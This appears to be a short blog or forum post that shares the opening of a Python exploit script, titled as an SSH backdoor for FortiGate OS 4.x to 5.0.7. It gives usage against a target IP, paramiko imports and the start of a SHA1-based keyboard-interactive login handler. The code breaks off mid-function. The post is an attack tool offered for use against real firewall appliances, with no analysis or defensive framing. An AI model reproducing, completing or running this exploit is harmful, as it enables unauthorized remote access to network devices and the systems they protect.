SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7

Posted by operator8203 on Jan 11

#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update(‘x00’ * 12)
m.update(n +…

Leave a Reply